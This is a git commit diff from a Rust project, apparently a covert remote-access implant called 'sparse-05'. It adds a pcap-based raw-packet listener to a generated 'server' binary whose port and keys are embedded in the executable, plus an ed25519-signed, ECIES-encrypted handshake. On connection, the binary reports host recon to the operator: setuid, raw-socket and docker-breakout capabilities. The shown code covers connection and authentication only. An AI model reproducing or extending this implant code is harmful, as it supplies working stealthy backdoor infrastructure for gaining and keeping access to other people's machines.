feat: added connection and authentication
client can now generate a server binary, and try to connect to it and get capabilities
This commit is contained in:
@@ -7,6 +7,7 @@ edition = "2021"
|
||||
pcap-sys = { path = "../../pcap-sys" }
|
||||
anyhow = "1.0.70"
|
||||
ed25519-dalek = "1.0.1"
|
||||
rand = "0.7"
|
||||
log = "0.4.17"
|
||||
simple_logger = "4.1.0"
|
||||
libc = { version = "0.2.147" }
|
||||
@@ -14,6 +15,7 @@ serde = { version = "1.0.188", features = ["derive"] }
|
||||
rmp-serde = "1.1.2"
|
||||
catconf = "0.1.2"
|
||||
sparse-05-common = { version = "0.1.0", path = "../sparse-05-common" }
|
||||
ecies-ed25519 = { version = "0.5.1", features = ["serde"] }
|
||||
|
||||
[build-dependencies]
|
||||
cc = "1.0"
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
use std::ffi::c_int;
|
||||
|
||||
use sparse_05_common::messages::{Capabilities, TransportType};
|
||||
use sparse_05_common::messages::{Capabilities, OperatingSystem, TransportType};
|
||||
|
||||
const CAP_SETUID: u32 = 1 << 7;
|
||||
const CAP_NET_RAW: u32 = 1 << 13;
|
||||
@@ -71,6 +71,11 @@ fn get_current_capabilities() -> anyhow::Result<Capabilities> {
|
||||
let userent = get_username(uid)?;
|
||||
|
||||
Ok(Capabilities {
|
||||
operating_system: if cfg!(target_os = "linux") {
|
||||
OperatingSystem::Linux
|
||||
} else {
|
||||
OperatingSystem::Windows
|
||||
},
|
||||
docker_container,
|
||||
docker_breakout,
|
||||
setuid,
|
||||
|
||||
@@ -1,22 +1,214 @@
|
||||
use std::{net::Ipv4Addr, sync::mpsc::Sender};
|
||||
use std::{
|
||||
net::{Ipv4Addr, UdpSocket},
|
||||
sync::{
|
||||
mpsc::{channel, Receiver, Sender},
|
||||
Arc,
|
||||
},
|
||||
thread,
|
||||
};
|
||||
|
||||
use anyhow::{anyhow, bail, Context};
|
||||
use ed25519_dalek::{Keypair, Signature, Signer, Verifier};
|
||||
use pcap_sys::packets::EthernetPacket;
|
||||
use sparse_05_common::messages::{Capabilities, Command, Response, CONNECTED_MESSAGE};
|
||||
|
||||
#[derive(Clone)]
|
||||
pub struct ConnectionHandle {}
|
||||
pub struct ConnectionHandle {
|
||||
packet_handler_sender: Sender<EthernetPacket>,
|
||||
}
|
||||
|
||||
impl ConnectionHandle {
|
||||
pub fn handle_packet(&self, packet: EthernetPacket) -> anyhow::Result<()> {
|
||||
self.packet_handler_sender.send(packet)?;
|
||||
Ok(())
|
||||
}
|
||||
}
|
||||
|
||||
pub enum State {}
|
||||
struct ConnectionInformation {
|
||||
remote_sign_pubkey: ed25519_dalek::PublicKey,
|
||||
remote_enc_pubkey: ecies_ed25519::PublicKey,
|
||||
local_sign_keypair: Keypair,
|
||||
local_enc_pubkey: ecies_ed25519::PublicKey,
|
||||
local_enc_privkey: ecies_ed25519::SecretKey,
|
||||
srcmac: [u8; 6],
|
||||
dstmac: [u8; 6],
|
||||
srcip: Ipv4Addr,
|
||||
dstip: Ipv4Addr,
|
||||
srcport: u16,
|
||||
}
|
||||
|
||||
impl ConnectionInformation {
|
||||
fn format_udp_packet(&self, data: &[u8]) -> EthernetPacket {
|
||||
use pcap_sys::packets::*;
|
||||
|
||||
let udp_packet = UDPPacket::construct(54248, self.srcport, data);
|
||||
let ip_packet =
|
||||
IPv4Packet::construct(self.dstip, self.srcip, &Layer4Packet::UDP(udp_packet));
|
||||
EthernetPacket::construct(self.dstmac, self.srcmac, &Layer3Packet::IPv4(ip_packet))
|
||||
}
|
||||
|
||||
fn encrypt_and_sign(&self, data: &[u8]) -> anyhow::Result<EthernetPacket> {
|
||||
let mut rng = rand::thread_rng();
|
||||
let enc_data = ecies_ed25519::encrypt(&self.remote_enc_pubkey, data, &mut rng)?;
|
||||
let signature = self.local_sign_keypair.sign(&enc_data);
|
||||
|
||||
Ok(self.format_udp_packet(&[&signature.to_bytes(), &*enc_data].concat()))
|
||||
}
|
||||
|
||||
fn encrypt_and_sign_resp(&self, data: Response) -> anyhow::Result<EthernetPacket> {
|
||||
let raw_data = rmp_serde::to_vec(&data)?;
|
||||
self.encrypt_and_sign(&raw_data)
|
||||
}
|
||||
|
||||
fn try_decrypt_and_verify(&self, data: &[u8]) -> anyhow::Result<Vec<u8>> {
|
||||
if data.len() < 65 {
|
||||
bail!("packet received is too small");
|
||||
}
|
||||
|
||||
let signature: [u8; 64] = data[..64].try_into()?;
|
||||
let signature = Signature::from(signature);
|
||||
let rest = &data[64..];
|
||||
|
||||
self.remote_sign_pubkey.verify(rest, &signature)?;
|
||||
|
||||
Ok(ecies_ed25519::decrypt(&self.local_enc_privkey, rest)?)
|
||||
}
|
||||
|
||||
fn try_decrypt_and_verify_comm(&self, data: &[u8]) -> anyhow::Result<Command> {
|
||||
let data = self.try_decrypt_and_verify(data)?;
|
||||
|
||||
Ok(rmp_serde::from_slice(&data)?)
|
||||
}
|
||||
}
|
||||
|
||||
pub fn spawn_connection_handler(
|
||||
capabilities: Arc<Capabilities>,
|
||||
sign_pubkey: Arc<ed25519_dalek::PublicKey>,
|
||||
enc_pubkey: Arc<ecies_ed25519::PublicKey>,
|
||||
packet_sender: Sender<EthernetPacket>,
|
||||
connection_packet: EthernetPacket,
|
||||
connection_killer: Sender<(Ipv4Addr, u16)>,
|
||||
) -> ConnectionHandle {
|
||||
ConnectionHandle {}
|
||||
) -> anyhow::Result<ConnectionHandle> {
|
||||
println!("received connection, starting to authenticate");
|
||||
|
||||
let conninfo = {
|
||||
use pcap_sys::packets::*;
|
||||
let packet = connection_packet.pkt();
|
||||
|
||||
let Layer3Pkt::IPv4Pkt(ip_pkt) = packet.get_layer3_pkt()?;
|
||||
let Layer4Pkt::UDP(udp_pkt) = ip_pkt.get_layer4_packet()?;
|
||||
|
||||
let data = udp_pkt.get_data();
|
||||
|
||||
if data.len() < 71 {
|
||||
bail!("connection packet was the wrong length");
|
||||
}
|
||||
|
||||
let Ok(signature): Result<[u8; 64], _> = data[..64].try_into() else {
|
||||
bail!("could not get signature from connection");
|
||||
};
|
||||
|
||||
let signature = Signature::from(signature);
|
||||
let connect = &data[64..];
|
||||
|
||||
if connect != b"CONNECT" {
|
||||
bail!("connect magic bytes were wrong");
|
||||
}
|
||||
|
||||
sign_pubkey
|
||||
.verify(connect, &signature)
|
||||
.context("could not verify the signature of the connection packet")?;
|
||||
|
||||
let mut csprng = rand::thread_rng();
|
||||
let local_sign_keypair = Keypair::generate(&mut csprng);
|
||||
let (local_enc_privkey, local_enc_pubkey) = ecies_ed25519::generate_keypair(&mut csprng);
|
||||
|
||||
ConnectionInformation {
|
||||
remote_sign_pubkey: (*sign_pubkey).clone(),
|
||||
remote_enc_pubkey: (*enc_pubkey).clone(),
|
||||
local_sign_keypair,
|
||||
local_enc_privkey,
|
||||
local_enc_pubkey,
|
||||
srcmac: *packet.source_address(),
|
||||
dstmac: *packet.destination_address(),
|
||||
srcip: ip_pkt.source_ip(),
|
||||
dstip: ip_pkt.dest_ip(),
|
||||
srcport: udp_pkt.srcport(),
|
||||
}
|
||||
};
|
||||
let close = {
|
||||
let ip = conninfo.srcip.clone();
|
||||
let port = conninfo.srcport;
|
||||
move || {
|
||||
let _ = connection_killer.send((ip, port));
|
||||
}
|
||||
};
|
||||
|
||||
let (packet_handler_sender, packet_handler) = channel();
|
||||
|
||||
thread::spawn(move || {
|
||||
if let Err(e) = authenticate(capabilities, packet_handler, conninfo, packet_sender, close) {
|
||||
eprintln!("connection thread died: {e:?}");
|
||||
}
|
||||
});
|
||||
|
||||
Ok(ConnectionHandle {
|
||||
packet_handler_sender,
|
||||
})
|
||||
}
|
||||
|
||||
fn authenticate<F: Fn()>(
|
||||
capabilities: Arc<Capabilities>,
|
||||
packet_handler: Receiver<EthernetPacket>,
|
||||
conninfo: ConnectionInformation,
|
||||
packet_sender: Sender<EthernetPacket>,
|
||||
close: F,
|
||||
) -> anyhow::Result<()> {
|
||||
let mut counter = 0;
|
||||
|
||||
loop {
|
||||
if counter > 5 {
|
||||
close();
|
||||
}
|
||||
|
||||
let next_pkt = conninfo.encrypt_and_sign(
|
||||
&[
|
||||
&conninfo.local_sign_keypair.public.to_bytes(),
|
||||
&conninfo.local_enc_pubkey.to_bytes(),
|
||||
&*(rmp_serde::to_vec(&*capabilities)?),
|
||||
]
|
||||
.concat(),
|
||||
)?;
|
||||
packet_sender.send(next_pkt)?;
|
||||
|
||||
match packet_handler.recv_timeout(std::time::Duration::from_millis(250)) {
|
||||
Ok(p) => {
|
||||
use pcap_sys::packets::*;
|
||||
let p = p.pkt();
|
||||
let Layer3Pkt::IPv4Pkt(ip_pkt) = p.get_layer3_pkt()?;
|
||||
let Layer4Pkt::UDP(udp_pkt) = ip_pkt.get_layer4_packet()?;
|
||||
|
||||
let Ok(data) = conninfo.try_decrypt_and_verify(udp_pkt.get_data()) else {
|
||||
counter += 1;
|
||||
continue;
|
||||
};
|
||||
|
||||
if data == CONNECTED_MESSAGE {
|
||||
break;
|
||||
}
|
||||
|
||||
counter += 1;
|
||||
}
|
||||
Err(std::sync::mpsc::RecvTimeoutError::Timeout) => {
|
||||
counter += 1;
|
||||
}
|
||||
Err(e) => Err(e)?,
|
||||
}
|
||||
}
|
||||
|
||||
println!("Connection made!");
|
||||
|
||||
close();
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
@@ -7,7 +7,6 @@ use std::{
|
||||
|
||||
use anyhow::{bail, Context};
|
||||
use connection::ConnectionHandle;
|
||||
use ed25519_dalek::PublicKey;
|
||||
|
||||
use pcap_sys::packets::EthernetPacket;
|
||||
use sparse_05_common::CONFIG_SEPARATOR;
|
||||
@@ -24,26 +23,27 @@ fn main() -> anyhow::Result<()> {
|
||||
.with_module_level("sparse-05-server", log::LevelFilter::Info)
|
||||
.init()?;
|
||||
|
||||
let capabilities = capabilities::get_capabilities()?;
|
||||
let capabilities = Arc::new(capabilities::get_capabilities()?);
|
||||
|
||||
let config_bytes = catconf::read_from_exe(CONFIG_SEPARATOR, 512)?;
|
||||
if config_bytes.len() != 34 {
|
||||
if config_bytes.len() != 66 {
|
||||
bail!("could not load configuration");
|
||||
}
|
||||
|
||||
let (port, pubkey) = {
|
||||
let (port, conn_pubkey, enc_pubkey) = {
|
||||
let port = u16::from_be_bytes(config_bytes[..2].try_into().unwrap());
|
||||
let pubkey = PublicKey::from_bytes(&config_bytes[2..])
|
||||
.context("could not parse public key from configuration")?;
|
||||
let conn_pubkey = ed25519_dalek::PublicKey::from_bytes(&config_bytes[2..34])
|
||||
.context("could not parse public signing key from configuration")?;
|
||||
let enc_pubkey = ecies_ed25519::PublicKey::from_bytes(&config_bytes[34..66])
|
||||
.context("could not parse public encryption key from configuration")?;
|
||||
|
||||
(port, Arc::new(pubkey))
|
||||
(port, Arc::new(conn_pubkey), Arc::new(enc_pubkey))
|
||||
};
|
||||
|
||||
let interface = interface::Interface::new(capabilities.transport, port)?;
|
||||
let (interface_sender, interface_receiver) = interface.split()?;
|
||||
|
||||
let connections: Arc<Mutex<HashMap<(Ipv4Addr, u16), ConnectionHandle>>> =
|
||||
Arc::new(Mutex::new(HashMap::new()));
|
||||
let connections: Mutex<HashMap<(Ipv4Addr, u16), ConnectionHandle>> = Mutex::new(HashMap::new());
|
||||
let (send_eth_packet, recv_eth_packet) = channel::<EthernetPacket>();
|
||||
let (kill_connection, kill_connection_recv) = channel::<(Ipv4Addr, u16)>();
|
||||
|
||||
@@ -52,46 +52,53 @@ fn main() -> anyhow::Result<()> {
|
||||
if let Err(_) = interface_sender.sendpacket(packet.pkt()) {}
|
||||
});
|
||||
|
||||
thread::spawn({
|
||||
let connections = Arc::clone(&connections);
|
||||
move || loop {
|
||||
let Ok(connection) = kill_connection_recv.recv() else { continue };
|
||||
if let Ok(mut e) = connections.lock() {
|
||||
e.remove(&connection);
|
||||
thread::scope(|s| {
|
||||
s.spawn({
|
||||
let connections = &connections;
|
||||
move || loop {
|
||||
let Ok(connection) = kill_connection_recv.recv() else { continue };
|
||||
if let Ok(mut e) = connections.lock() {
|
||||
e.remove(&connection);
|
||||
}
|
||||
}
|
||||
}
|
||||
});
|
||||
|
||||
interface_receiver
|
||||
.listen(|pkt| {
|
||||
use pcap_sys::packets::*;
|
||||
|
||||
let pkt = pkt.pkt();
|
||||
|
||||
let Layer3Pkt::IPv4Pkt(ip_pkt) = pkt.get_layer3_pkt()?;
|
||||
let Layer4Pkt::UDP(udp_pkt) = ip_pkt.get_layer4_packet()?;
|
||||
|
||||
let connection_handle = &(ip_pkt.dest_ip(), udp_pkt.srcport());
|
||||
|
||||
if let Ok(mut connections) = connections.lock() {
|
||||
let connection = connections.get(connection_handle);
|
||||
|
||||
match connection {
|
||||
None => {
|
||||
let new_connection = spawn_connection_handler(
|
||||
Arc::clone(&capabilities),
|
||||
Arc::clone(&conn_pubkey),
|
||||
Arc::clone(&enc_pubkey),
|
||||
send_eth_packet.clone(),
|
||||
pkt.to_owned(),
|
||||
kill_connection.clone(),
|
||||
)?;
|
||||
connections.insert(*connection_handle, new_connection);
|
||||
}
|
||||
Some(conn) => {
|
||||
conn.handle_packet(pkt.to_owned())?;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
Ok(())
|
||||
})
|
||||
.expect("packet capture loop failed");
|
||||
});
|
||||
|
||||
interface_receiver.listen(|pkt| {
|
||||
use pcap_sys::packets::*;
|
||||
|
||||
let pkt = pkt.pkt();
|
||||
|
||||
let Layer3Pkt::IPv4Pkt(ip_pkt) = pkt.get_layer3_pkt()?;
|
||||
let Layer4Pkt::UDP(udp_pkt) = ip_pkt.get_layer4_packet()?;
|
||||
|
||||
let connection_handle = &(ip_pkt.dest_ip(), udp_pkt.srcport());
|
||||
|
||||
if let Ok(mut connections) = connections.lock() {
|
||||
let connection = connections.get(connection_handle);
|
||||
|
||||
match connection {
|
||||
None => {
|
||||
let new_connection = spawn_connection_handler(
|
||||
send_eth_packet.clone(),
|
||||
pkt.to_owned(),
|
||||
kill_connection.clone(),
|
||||
);
|
||||
connections.insert(*connection_handle, new_connection);
|
||||
}
|
||||
Some(conn) => {
|
||||
conn.handle_packet(pkt.to_owned())?;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
Ok(())
|
||||
})?;
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
Reference in New Issue
Block a user